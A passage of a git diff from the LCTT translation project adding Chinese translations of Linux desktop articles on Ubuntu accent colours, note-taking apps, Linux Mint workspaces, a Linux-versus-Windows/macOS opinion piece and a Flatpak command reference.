https://www.freecodecamp.org/news/build-a-hackintosh/ +[28]: https://itsfoss.com/wp-content/uploads/2022/08/final-cut-pro-mac.jpg +[29]: https://itsfoss.com/wp-content/uploads/2022/08/kdenlive-editor.jpg +[30]: https://itsfoss.com/wp-content/uploads/2021/08/planner-board-view.png +[31]: https://itsfoss.com/wp-content/uploads/2022/08/gaming-illustration.jpg +[32]: https://itsfoss.com/wp-content/uploads/2022/08/package-manager-illustration-new.jpg +[33]: https://itsfoss.com/what-is-flatpak/ +[34]: https://itsfoss.com/use-snap-packages-ubuntu-16-04/ +[35]: https://itsfoss.com/synaptic-package-manager/ +[36]: https://itsfoss.com/homebrew-linux/ +[37]: https://itsfoss.com/wp-content/uploads/2022/07/software-update-illustration.jpg +[38]: https://itsfoss.com/long-term-support-lts/ +[39]: https://itsfoss.com/getting-started-with-ubuntu/ +[40]: https://itsfoss.com/best-rolling-release-distros/ diff --git a/published/202209/20220814 How to Apply Accent Colour in Ubuntu Desktop.md b/published/202209/20220814 How to Apply Accent Colour in Ubuntu Desktop.md new file mode 100644 index 0000000000..e3cb66c465 --- /dev/null +++ b/published/202209/20220814 How to Apply Accent Colour in Ubuntu Desktop.md @@ -0,0 +1,84 @@ +[#]: subject: "How to Apply Accent Colour in Ubuntu Desktop" +[#]: via: "https://www.debugpoint.com/ubuntu-accent-colour/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "yjacks" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15025-1.html" + +如何在 Ubuntu 桌面中应用强调色 +====== + +![](https://img.linux.net.cn/data/attachment/album/202209/13/075753yoi4j2ozozkkxmmk.jpg) + +> 得益于开发者们最近的贡献,在 Ubuntu 中使用自己的强调色是很简单的。 + +每个 Linux 发行版都有它们默认的主题,具有各自的主色调。强调色用于在各个设置中突出主色调。通常,主色调和强调色应该形成对比和补充。 + +在最近的 GNOME 桌面的更新之后,Ubuntu 桌面在 22.04 LTS 版本中引入了强调色。 + +尽管如何应用它们是显而易见的,但是为了 Linux 的新手,我将解释如何在 Ubuntu 桌面中使用强调色。 + +### 在 Ubuntu 桌面中应用强调色 + +1. 从应用菜单中打开 系统设置System Settings +2. 进入 外观Appearance 菜单 +3. 在 风格Style 菜单下,你应该见到一套预设的颜色。 +4. 选择其中的一个来改变强调色。 + +一旦更改,强调色将被应用到 GTK 应用程序中的选区和 GTK 控件中,如切换按钮和文件夹的默认外观。 + +默认的强调色是橙色,有十种颜色可供选择,具体如下: + +* 橙色 +* 树皮色 +* 鼠尾草色 +* 橄榄绿 +* 铬绿 +* 普鲁士绿 +* 蓝色 +* 紫色 +* 品红色 +* 红色 + +![Accent Colour in Ubuntu][1] + +(LCTT 译注:树皮色是一种棕色,鼠尾草色是一种灰绿色。) + +你应该记住一点,深色和浅色的主题的强调色组合可能改变你的桌面的整体外观。 + +以上的特性只是只适用于目前使用 GNOME 桌面的 Ubuntu,而不适用于其它提供原生 GNOME 的发行版,例如 Fedora Workstation。因为有一些内容是由 Ubuntu 团队开发的,并且并没有合并到 GNOME 上游。 + +### Kubuntu 中的强调色 + +使用带有 KDE Plasma 桌面的 Kubuntu,你可以简单地使用强调色。KDE Plasma 提供了预设的颜色,也有自定义的颜色选择器选项。另外,自 KDE Plasma 5.25 起,强调色可以根据壁纸来改变。 + +为了在 Kubuntu 中改变它,跟着下面的步骤走: + +* 在应用菜单中打开 系统设置System Settings +* 进入 外观Appearance > 全局主题Global Theme > 颜色Colours 标签 +* 选择你的强调色 + +![KDE Plasma 5.25 - Accent Colour Change Based on wallpaper][2] + +我知道 Lubuntu 与 Xubuntu 并没有这个特性。而且它不太可能很快到来。 + +使用愉快。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/ubuntu-accent-colour/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[yjacks](https://github.com/yjacks) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2022/08/Accent-Colour-in-Ubuntu.jpg +[2]: https://www.debugpoint.com/wp-content/uploads/2022/05/KDE-Plasma-5.25-Accent-Colour-Change-Based-on-wallpaper-1024x611.jpg +[3]: https://t.me/debugpoint diff --git a/published/202209/20220819 5 note-taking apps for Linux.md b/published/202209/20220819 5 note-taking apps for Linux.md new file mode 100644 index 0000000000..b12822552e --- /dev/null +++ b/published/202209/20220819 5 note-taking apps for Linux.md @@ -0,0 +1,88 @@ +[#]: subject: "5 note-taking apps for Linux" +[#]: via: "https://opensource.com/article/22/8/note-taking-apps-linux" +[#]: author: "Don Watkins https://opensource.com/users/don-watkins" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14990-1.html" + +5 款适用于 Linux 的笔记应用 +====== + +![](https://img.linux.net.cn/data/attachment/album/202209/01/173456nfc42fnqkiwfkh90.jpg) + +> 使用这些开源工具来记笔记。 + +笔记是任何作者生活的一部分。我的大部分文章都是从笔记应用开始的,这对我来说通常是 [Joplin][2]。有大量适用于 Linux 的笔记应用,你可能使用的不是我最喜欢的应用。最近的一篇博客文章让我想起了其中的六个,所以我整理了一份我最喜欢的列表。 + +### Joplin + +![Joplin][3] + +[Joplin][4] 适用于 Linux、Windows、macOS、Android 和 iOS。我喜欢 Joplin,因为它会自动保存你添加的任何内容。笔记可以上传到 NextCloud、OwnCloud、Joplin Cloud,甚至是 OneDrive、Dropbox 或任何 WebDav 应用等闭源服务。Joplin 还支持加密。 + +以各种格式导出笔记也很容易。它带有八个不同的主题,可让你定制其外观。 + +Joplin 采用 MIT 许可证。最初于 2017 年发布,Joplin 正在与大量贡献者社区一起持续开发。 + +### Xournal + +![Xournal][5] + +[Xournal][6] 适用于 Linux、Windows、macOS 和 Android。它的目的是让你创建包含几乎任何你可以想象的媒体类型的笔记。它支持压敏手写笔和绘图板,因此你可以创建 [涂鸦笔记][7]。你可以在里面打字、绘制简单的矢量、导入图形、录制音频等等。你还可以使用 Xournal 来注释 PDF,这就是我使用它的方式。它以 GPLv2 许可证发布,你可以以多种格式导出笔记。 + +### Trillium + +![Trillium][8] + +[Trillium][9] 是一个层级笔记应用,专注于知识构建库。它具有丰富的所见即所得编辑功能,支持表格、图像和 Markdown。它支持使用语法高亮编辑源代码中的注释。它是在 AGPL 许可证下发布的。 + +Trilium 可用作 Linux 和 Windows 的桌面应用,以及你可以在自己的 Linux 服务器上托管的 Web 应用。 + +### Gnote + +![Gnote][10] + +[Gnote][11] 是一个为 Linux 编写的开源笔记应用。它是由 Hubert Figuière 从一个名为 [Tomboy][12] 的项目中克隆出来的。与 Tomboy 一样,Gnote 使用类似 Wiki 的链接系统来允许你将笔记链接在一起。 + +GNote 的源代码可在 [GitLab][13] 上找到。该软件是 GPLv3 许可。 + +### CherryTree + +![CherryTree][14] + +CherryTree 支持层级笔记。在 CherryTree 中,所有东西都是一个节点。节点可以是纯文本、富文本、各种编程语言的语法高亮。每个节点可以有子节点,每个子节点有不同的格式。 + +CherryTree 具有富文本和语法高亮的特点,并可以将数据存储在一个 XML 或 [SQLite][15] 文件中。CherryTree 可以从各种格式导入,包括 Markdown、HTML、纯文本、Gnote、Tomboy 和其他格式。它可以将文件导出为 PDF、HTML、纯文本和它自己的 CherryTree 格式。 + +CherryTree 使用 GPLv3 许可,可以安装在 Linux、Windows 和 macOS 上。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/8/note-taking-apps-linux + +作者:[Don Watkins][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/don-watkins +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/write-hand_0.jpg +[2]: https://opensource.com/article/21/1/notes-joplin +[3]: https://opensource.com/sites/default/files/2022-08/joplin.png +[4]: https://joplinapp.org/ +[5]: https://opensource.com/sites/default/files/2022-08/xournal.png +[6]: https://xournalpp.github.io/ +[7]: https://opensource.com/article/22/6/open-source-sketchnotes +[8]: https://opensource.com/sites/default/files/2022-08/trillium.png +[9]: https://github.com/zadam/trilium +[10]: https://opensource.com/sites/default/files/2022-08/gnote.png +[11]: https://wiki.gnome.org/Apps/Gnote +[12]: https://wiki.gnome.org/Apps/Tomboy +[13]: https://gitlab.gnome.org/GNOME/gnote +[14]: https://opensource.com/sites/default/files/2022-08/cherrytree.png +[15]: https://opensource.com/article/21/2/sqlite3-cheat-sheet diff --git a/published/202209/20220819 How to Create and Switch Workspaces in Linux Mint.md b/published/202209/20220819 How to Create and Switch Workspaces in Linux Mint.md new file mode 100644 index 0000000000..d1347e3d49 --- /dev/null +++ b/published/202209/20220819 How to Create and Switch Workspaces in Linux Mint.md @@ -0,0 +1,87 @@ +[#]: subject: "How to Create and Switch Workspaces in Linux Mint" +[#]: via: "https://itsfoss.com/workspaces-linux-mint/" +[#]: author: "Abhishek Prakash https://itsfoss.com/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15009-1.html" + +如何在 Linux Mint 中创建和切换工作区 +====== + +![](https://img.linux.net.cn/data/attachment/album/202209/08/103250exm22bu2jtbsyjjj.jpg) + +工作区是组织工作的好方法。 + +假设你打开了太多应用。你的任务栏会很混乱,你可能很难在不同的程序之间查找/移动。 + +在这种情况下,工作区会派上用场。你可以对不同工作区中的应用进行分组。假设你打开了许多与编程相关的应用,而同时你也在处理文档。 + +你可以将它们组织在单独的工作区中。单击并拖动应用窗口,它应该显示将应用移动到不同工作区的选项。 + +这将以更有条理的方式简化你的工作,并节省一些时间和挫败感。 + +听起来不错?让我向你展示如何在带 [Cinnamon][1] 桌面环境的 Linux Mint 中创建工作区并在它们之间切换。 + +### 创建新工作区 + +在 Linux Mint 中创建或访问工作区很容易。只需按 `CTRL + ALT+ ↑`。它将向你显示如下所示的屏幕。 + +只需单击右侧的 `+` 号即可在默认的 4 个工作区之外添加的新工作区。 + +![Workspace Overview in Linux Mint][2] + +Linux Mint 中的工作区是持久的。创建后,这些工作区将始终存在,即使在下次启动后也是如此。 + +### 在工作区之间切换 + +有两种方法可以访问工作区并在它们之间切换。 + +* 使用 `CTRL + ALT+ ↑`,将显示出所有工作区,然后使用箭头键或鼠标在它们之间移动。 +* 使用热角并在左上角移动鼠标。 + +默认情况下,最新版本的 Linux Mint 中禁用了热角功能。 + +要启用热角在工作区之间切换,你应该进入 系统设置System Settings 并选择 热角Hot Corners 选项。 + +![Hot Corners Option in System Settings][3] + +现在,通过切换按钮启用左上角。默认情况下,此角专用于显示所有工作区(你也可以更改它)。 + +![Show All Workspaces in Top Left Corner][4] + +你现在可以通过将鼠标悬停在左上角来访问工作区网格。 + +此外,如果需要,你可以按右侧的 `+` 符号添加新工作区。或根据需要通过单击名称来重命名现有工作区。 + +![Workspace Overview Accessible from Top Left Corner][5] + +### 删除工作区 + +实际上,你可以通过单击 `+` 号来创建多个工作区。如果你想删除工作区,请将鼠标悬停在该工作区上,单击工作区右上角的 `X` 号。 + +![Delete a Workspace][6] + +我希望这篇快速文章能帮助你在 Linux Mint 中创建工作区。你经常使用工作空间吗?让我们知道你对工作空间的看法。同时,你还可以查看 [安装 Linux Mint 20 后要做的事情][7] 的帖子。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/workspaces-linux-mint/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/quickly-fix-broken-unity-installing-cinnamon-20-ubuntu-1310/ +[2]: https://itsfoss.com/wp-content/uploads/2022/08/workspace-overview-in-linux-mint.png +[3]: https://itsfoss.com/wp-content/uploads/2022/08/hot-corners-option-in-system-settings.png +[4]: https://itsfoss.com/wp-content/uploads/2022/08/show-all-workspaces-in-top-left-corner.png +[5]: https://itsfoss.com/wp-content/uploads/2022/08/workspace-overview-accessible-from-top-left-corner-1.png +[6]: https://itsfoss.com/wp-content/uploads/2022/08/delete-a-workspace.png +[7]: https://itsfoss.com/things-to-do-after-installing-linux-mint-20/ diff --git a/published/202209/20220820 What if a Lifelong Linux User Tried Windows or macOS for the First Time-.md b/published/202209/20220820 What if a Lifelong Linux User Tried Windows or macOS for the First Time-.md new file mode 100644 index 0000000000..0ec10b2581 --- /dev/null +++ b/published/202209/20220820 What if a Lifelong Linux User Tried Windows or macOS for the First Time-.md @@ -0,0 +1,151 @@ +[#]: subject: "What if a Lifelong Linux User Tried Windows or macOS for the First Time?" +[#]: via: "https://news.itsfoss.com/linux-user-trying-windows-macos/" +[#]: author: "Abhishek https://news.itsfoss.com/author/abhishek/" +[#]: collector: "lkxed" +[#]: translator: "Kira-Pgr" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15000-1.html" + +用惯 Linux 的人第一次用 Windows 或 macOS 会怎样? +====== + +> Windows 用户在转换到 Linux 的过程中会遇到很多问题。如果反过来,一个一直用 Linux 的用户第一次用 Windows 或 macOS 会遇到什么问题呢? + +![一直用 Linux 的人第一次用 Windows 或 macOS 会怎样?][1] + +还记得 YouTube 频道 Linus Tech Tips 中 Linus Sebastian [尝试在 Linux 上玩游戏][2] 的场面吗? 尽管终端显示了明显的警告, 他最后还是把他的桌面环境删掉了。 + +![Linus Sebastian 弄坏了他的 Linux 系统][3] + +考虑到 Sebastian 日常用 Windows 玩游戏, 换到 Linux 肯定需要一定的时间。 + +所以,这是 Linux 的问题吗? 还是 Sebastian 搞错了? + +难道说,任何对操作系统不熟悉的用户在第一次尝试使用该系统的时候都会遇到问题? + +接下来,你可以从不同的角度去了解 Linux 用户第一次使用 Windows 或者 macOS 的感受。 + +Linux 用户第一次用 Windows 或 macOS 会非常容易?还是会和 Sebastian 用 Linux 时一样感觉糟糕? + +这肯定是非常有趣的话题…… + +一位 DevOps 高级工程师 **Scott Williams** 在一系列推文中假想了 Linux 用户第一次用 Windows 或 macOS 的场面。 + +### 在 Windows 11 上怎么启用 TPM 2.0? + +如何安装 Windows 的最新版本 Windows 11? + +> [Scott Williams][5]:\ +> 今晚,看我在能不能在这台用了 4 年的笔记本电脑上启用 TPM2.0 并运行 Windows 11。这台电脑支持 Intel PTT,所以应该会很顺利吧? + +怎样启用 TPM 2.0? 如何在 BIOS 菜单中找到它? 启用 TPM 2.0 安全吗? 我是否需要刷一个更新的 BIOS? 更新 BIOS 的过程中是否会弄坏我的主版? + +这些就是些每个 Linux 用户(甚至是 macOS/Windows 用户)将系统升级到 Windows 11 时都会遇到的一些问题。 + +Linux 用户从来没有必要做如此奇怪的事情来让系统正常工作。即使是在 2022 年。但是 Windows 11 需要你在升级前了解 BIOS 设置和 TPM 芯片的情况。 + +虽然 Scott 提到的是旧笔记本电脑,但值得注意的是,即使是最新的主板(比如 Z590),你可能也需要调整 BIOS 设置或者刷一个版本更高的 BIOS 版本才能支持 Windows 11。 + +由于更新 BIOS 有一定的风险,这种事情即使是对于懂技术的用户也是很不方便。 + +### 我需要用杀毒软件吗?用哪个? + +虽说苹果的 XProtect 和 Windows Defender 能提供基本保护,但对于想要更好保护的用户来说,在杀毒软件方面有几个选择: + +> [Scott Williams][6]:\ +> 所以我究竟需不需要装杀毒软件?装哪个? + +网上有那么多选择和软文,用户很难确定那个杀毒软件最好,已经为之付费是否值得。 + +而 Linux 用户就会这么想: *我竟然还要安装这个? 不会很浪费性能吗? 我需要这么多安全防护功能吗? Windows 不是一个安全的操作系统吗?* + +### macOS 和 iCloud:一个爱情故事? + +> [Scott Williams][7]:\ +> iCloud 是什么?我怎么把它删掉? + +Linux 用户们并不喜欢集成的云服务。他们宁愿挂载一个网盘(或网络存储器)。 + +即使他们选择了网盘,也应该按照用户的意图来工作。但是,在 macOS 上,你会经常被提示要使用 iCloud,同时 Siri 还会跳出来捣乱。 + +### Linux 用户清理注册表 + +原先使用 Linux 的新手 Windows 用户为了能优化系统性能去清理注册表,但在面对那么多清理注册表和优化系统以提高性能的工具和选项时,可能会以一个没有反应的 Windows 而告终。 + +> [Scott Williams][8]:\ +> Reddit上有些人说需要“清理注册表”,我按照几个教程删除了一些东西,然后现在我的 Windows 变得很奇怪。 + +即使在 2022 年,对于应该在什么时候手动或者用工具清理注册表还是没有明确的规定。 + +虽说资深 Linux 用户喜欢在尝试新东西前关注细节。但如果 GUI 中没有恰当的警告或提示,还怎么知道所有的注意事项呢。 + +### 经常需要重启 + +虽说不像 Linux 的重启那样,Windows 的重启可以修复问题。不过,我到底要在更新 Windows 或者安装软件后重启多少次啊? + +> [Scott Williams][9]:\ +> 第一次尝试 Windows 或 macOS 的 Linux 用户是这样的:\ +> “究竟需要安装多少个版本的 .NET? 已经重启了多少次了?” \ +> “为什么我的 Adobe 版本不支持这个版本的 macOS? 难怪那么多人在用 macOS 时会遇到麻烦。苹果公司需要修复这个问题了。” + +每次我重启的时候后台运行的程序都被干掉了。 + +为什么 Windows 就不能在检测新安装的程序或者更新的时候简单地刷新一下,而不是重启呢。Windows 为什么反着来呢。 + +### 这些东西还需要花钱? 我有 Windows 许可证还不够? + +Linux 主要是自由和开源软件构成的,因此预装的工具也是免费的。 + +所以, 一个用惯那些工具的用户就不得不突然需要花钱买一个 Windows 许可证,而且还要支付软件费用。 + +微软是不是太贪婪了呢? + +### 默认就缺少必须的软件包 + +在安装完 Windows 后我连压缩包都解压不了?Windows 真的是现代操作系统吗? + +### macOS 配置多显示器 + +> [Scott Williams][10]:\ +> 怎样让我的显示器在 macOS 上工作呢? + +在 Linux 上配置多显示器非常轻松。但在 macOS 上完全不是那回事。 + +### 总结 + +归根到底,这要看用户的标准和你熟悉的内容。Windows 和 macOS 经常被看作标准的桌面系统。 + +然而相比之下,大多数人除了知道 Linux 很难用外,对有关 Linux 的东西了解甚少。 + +不过,你只要掌握使用 Linux 的要领,就像你掌握 Windows、macOS 那样,用 Linux 桌面环境就很轻松了。 + +只不过在用 Linux 的过程会遇到各种各样的问题,但你只要有耐心就能享受整个过程了。 + +Linux 本身没有什么问题,是其他系统用户未能熟悉 Linux 的问题。我们并不希望 Linux 变成 Windows,也不希望 Windows 表现得像 Linux,任何操作系统都应该“做它自己”。 + +但话又说回来,不应该因为一个长期使用 Windows 的用户在最初使用时没有良好的体验就把 Linux 排除在外,因为同样的情况也可能发生在一个长期使用 Linux 的用户尝试 Windows/MacOS 时。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/linux-user-trying-windows-macos/ + +作者:[Abhishek][a] +选题:[lkxed][b] +译者:[Kira-Pgr](https://github.com/Kira-Pgr) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/abhishek/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/08/linux-windows.png +[2]: https://www.youtube.com/watch?v=0506yDSgU7M&t=788s +[3]: https://news.itsfoss.com/content/images/2022/08/linus-sebastian-nukes-pop-os-while-installing-steam-os.webp +[4]: https://news.itsfoss.com/more-linux-distros-become-linus-proof/ +[5]: https://twitter.com/vwbusguy/status/1463543535630569473 +[6]: https://twitter.com/vwbusguy/status/1463556939728572419 +[7]: https://twitter.com/vwbusguy/status/1463579003504136192 +[8]: https://twitter.com/vwbusguy/status/1463595769051549697 +[9]: https://twitter.com/vwbusguy/status/1463538368956887043 +[10]: https://twitter.com/vwbusguy/status/1463606807906029570 diff --git a/published/202209/20220824 Become A Pro Flatpak User By Learning These Commands.md b/published/202209/20220824 Become A Pro Flatpak User By Learning These Commands.md new file mode 100644 index 0000000000..08a8aaaa41 --- /dev/null +++ b/published/202209/20220824 Become A Pro Flatpak User By Learning These Commands.md @@ -0,0 +1,284 @@ +[#]: subject: "Become A Pro Flatpak User By Learning These Commands" +[#]: via: "https://www.debugpoint.com/flatpak-commands/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15007-1.html" + +如何成为专业的 Flatpak 用户 +====== + +> 在这篇文章中,我将向你展示各种 Flatpak 命令,使你成为 Flatpak 的专业用户。 + +![][1] + +Flatpak 沙盒技术是 Linux 应用分发的未来。如今,几乎所有重要的发行版都预装了 Flatpak,因为采用它很容易,维护它也更直接。 + +如果你每天都使用 Flatpak,你可能知道这些命令。但如果你还在考虑把每一个应用程序都转到 Flatpak,那么你应该通过这个命令列表来了解如何轻松管理 Flatpak 应用程序。 + +因此,为了帮助你做到这一点,我列出了一些易于使用的 Flatpak 命令供你参考,这些命令是从文档中的大量命令集中筛选出来的。 + +### Flatpak 命令参考 + +首先,我们来谈谈一些基本的命令。 + +#### 1、安装 Flatpak + +自从上次我检查过后,如今所有重要的发行版都预装了 Flatpak。因此,你可能不需要安装它。 + +然而,安装 Flatpak 就像在这两个主要发行版中运行以下命令一样简单: + +``` +sudo apt install flatpak // 用于 Ubuntu 和相关发行版 +``` + +``` +sudo dnf install flatpak // 适用于 Fedora 和基于 RPM 的发行版 +``` + +如果你正在运行其他发行版,你可以查看我们关于 Flatpak 安装的 [详细指南][2]。 + +#### 2、设置 Flatpak 远程仓库 + +接下来,你需要在安装后设置与 远程仓库remote的连接。远程仓库就像是一个存储库(参考 PPA),用来分发 Flatpak 应用程序。 + +主要的仓库是 Flathub,你可以用下面的命令来设置它。这个命令对所有发行版都是一样的。完成后,重新启动你的系统,你就可以安装 Flatpak 应用程序了。 + +``` +flatpak remote-add --if-not-exists flathub https://flathub.org/repo/flathub.flatpakrepo +``` + +**提示**:如果你有别的远程仓库,你可以使用相同的命令来添加该仓库。在一个系统中设置多个远程仓库是正常的。 + +**提示**:另外,你可以指定 `--user` 或 `--system` 开关来安装特定于你的用户 ID 或整个系统的 Flatpak 远程仓库。 + +``` +flatpak remote-add --if-not-exists --user https://flathub.org/repo/flathub.flatpakrepo +``` + +``` +flatpak remote-add --if-not-exists --system https://flathub.org/repo/flathub.flatpakrepo +``` + +#### 3、从 Flathub 安装 Flatpak 应用程序 + +Linux 中大多数重要的基于 GUI 的软件商店都默认允许安装 Flatpak 应用程序。例如,如果你正在使用“软件Software”(适用于 Ubuntu 或 Fedora GNOME 版),你可以找到应用程序并点击安装按钮进行安装。 + +或者,在 KDE Plasma 的 “发现Discover” 中: + +![KDE “发现”可以从 Flathub 拉取 Flatpak 应用程序][3] + +但是,最简单的方法是复制 [Flathub 商店][4] 中的安装命令(可在每个应用程序信息页面的底部找到)并将其粘贴到终端。这是安装 Flatpak 应用程序的最快方法。 + +``` +flatpak install org.kde.kdenlive +``` + +#### 4、运行一个应用程序 + +有两种方法来运行你安装的 Flatpak 应用程序。你可以在图形化桌面环境的应用程序菜单中找到它。或者,你可以使用简单的运行(`run`)参数来启动。 + +你可以从 Flathub 应用程序页面找到运行命令。 + +``` +flatpak run org.kde.kdenlive +``` + +现在,你已经学会了如何设置、安装和运行 Flatpak 应用程序。现在是时候深入了解一下了。 + +#### 5、找出已安装的 Flatpak 应用程序列表 + +经过几年,你可能已经安装和删除了许多 Flatpak 应用程序。但是,你怎么找出安装了多少 Flatpak 应用程序?或者你可能想知道系统所安装的 Flatpak 应用是什么。 + +这里有一些 Flatpak 命令(通过终端运行),可以在这方面帮助你。 + +一个简单的 `flatpak` 命令可以列出所有安装的应用程序。这包括系统应用和你的应用: + +``` +flatpak list +``` + +只显示你的应用程序: + +``` +flatpak --user list +``` + +更详细一点,你可以在上述两个命令中使用额外的列(如名称、大小等)进行过滤: + +``` +flatpak --columns=app,name,size,installation list +``` + +``` +flatpak --columns=name,size --user list +``` + +![flatpak 带有额外列的列出命令][5] + +#### 6、找出已安装应用程序的更多信息 + +现在,你已经通过上述 Flatpak 命令安装了一个应用程序。但是,如果你想知道架构、版本、分支、许可证和其他信息,该怎么办呢?你可以使用 `info` 参数来实现。这个命令需要 Flatpak 的 “应用 ID”,你可以通过上面的 `flatpak list` 命令得到它。 + +例如: + +``` +flatpak info org.kde.kdenlive +``` + +![flatpak info 命令][6] + +#### 7、找出 flatpak 命令在你系统中的全部历史记录 + +`flatpak` 命令中的 `histroy` 开关会列出在你的系统中发生的活动,包括安装、更新、卸载和日期时间戳。如果你想调查一些事情,这非常有用。 + +``` +flatpak history +``` + +#### 8、更新 Flatpak 应用程序 + +`flatpak` 命令中的 `update` 参数可以更新所有的应用程序和运行时。当你运行这个命令时,它会显示可用的更新,并要求你确认是否继续。 + +``` +flatpak update +``` + +如果你想更新一个特定的应用程序而不是整个系统,请使用 `--app` 或 `--runtime` 开关,分别用于应用程序和运行时。 + +例如,如果我想在我的系统中只更新 kdenlive,我将运行以下命令: + +``` +flatpak update --app org.kde.kdenlive +``` + +**提示**:`update` 参数通常会更新到任何程序的分支顶端。然而,使用 `update` 参数中的 `--commit` 开关,你可以更新到 Flatpak 中的某个特定分支(升级或降级)。例如: + +``` +flatpak update --app org.kde.kdenlive --commit 37103f4ee56361a73d20cf6957d88f3cab802909a5966c27a6e81d69795a15 +``` + +如果你想使用同一个应用程序的多个版本,这个 `--commit` 开关是非常有用的。 + +![flatpak 带有提交开关的更新命令示例][7] + +#### 9、管理 Flatpak 应用程序的权限 + +不同的应用程序需要不同的权限,如摄像头、麦克风、屏幕等等。通过命令来管理这些单独的权限有点让人不知所措。因此,管理 Flatpak 权限的最好方法是使用另一个叫做 Flatseal 的 Flatpak 应用程序。它为你提供了一个漂亮的 GUI,有切换按钮来启用/禁用/审查已安装的 Flatpak 应用程序的权限。 + +你可以在 [这里][8] 阅读 Flatseal 的更多信息。 + +#### 10、卸载 Flatpak 应用程序的命令 + +卸载 Flatpak 应用程序有不同的使用情况。所以,这里是快速指南。 + +要卸载单个应用程序,使用 `uninstall` 参数和应用程序 ID。例如: + +``` +flatpak uninstall org.kde.kdenlive +``` + +要卸载所有应用程序,使用 `—all` 开关: + +``` +flatpak uninstall --all +``` + +要卸载未使用的应用程序,请使用以下方法: + +``` +flatpak uninstall --unused +``` + +#### 11、删除并去除 Flatpak 应用程序的所有痕迹 + +**使用以下命令时要特别小心,因为它将删除一切。** + +即使你卸载了 Flatpak 应用程序,一些应用程序的数据仍然保留在你的系统中,除非你在运行卸载程序时增加一些开关。在你可能想删除所有东西并重新开始使用 Flatpak 的情况下,这是必要的。 + +要卸载和删除特定应用程序的数据,请使用以下命令。例如: + +``` +flatpak uninstall -y --delete-data org.kde.kdenlive +``` + +要卸载和删除所有与 Flatpak 相关的东西,请使用下面的命令: + +``` +flatpak uninstall --all --delete-data +``` + +#### 12、清理和磁盘空间的使用 + +默认情况下,Flatpak 被安装在 `/var/lib/flatpak`。这个目录包含所有与 Flatpak 相关的数据和元数据以及运行时文件。而用户特定的安装目录是 `~/.local/share/flatpak`。 + +你可以用以下命令找出 Flatpak 应用程序使用的磁盘空间。 + +``` +du -h /var/lib/flatpak +``` + +要清理,你可以使用上面提到的 `--unused` 或 `--uninstall` 开关。详情请访问我们的 [Flatpak 清理指南][9]。 + +### 总结 + +为了便于你随时参考,这里是对上面解释的 `flatpak` 命令的一个总结。把这个页面收藏起来,以便于参考。 + +``` +# 安装和运行 +flatpak install org.kde.kdenlive +flatpak run org.kde.kdenlive + +# 列出已安装的 Flatpak 应用程序 +flatpak list +flatpak --user list +flatpak --columns=app,name,size,installation list +flatpak --columns=name,size --user list + +# 找出应用 ID 和命令历史 +flatpak info org.kde.kdenlive +flatpak history + +# 更新 Flatpak 应用程序 +flatpak update +flatpak update --app org.kde.kdenlive + +# 删除 Flatpak 应用程序 +flatpak uninstall org.kde.kdenlive +flatpak uninstall --unused + +# 删除应用及数据(小心使用) +flatpak uninstall --all +flatpak uninstall -y --delete-data org.kde.kdenlive +flatpak uninstall --all --delete-data +``` + +最后,请在评论框中告诉我,你认为还有哪些 Flatpak 命令也应该包括在这个列表中。 + +[一些例子来自官方参考资料][10]。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/flatpak-commands/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2022/08/fpref-1024x576.jpg +[2]: https://www.debugpoint.com/how-to-install-flatpak-apps-ubuntu-linux/ +[3]: https://www.debugpoint.com/?attachment_id=10760 +[4]: https://flathub.org/apps +[5]: https://www.debugpoint.com/?attachment_id=10758 +[6]: https://www.debugpoint.com/?attachment_id=10757 +[7]: https://www.debugpoint.com/wp-content/uploads/2022/08/Example-of-flatpak-commands-update-with-commit-1024x576.jpg +[8]: https://www.debugpoint.com/manage-flatpak-permission-flatseal/ +[9]: https://www.debugpoint.com/clean-up-flatpak/ +[10]: https://docs.flatpak.org/en/latest/flatpak-command-reference.html diff --git a/published/202209/20220824 Blackbox is an Aesthetically Pleasing 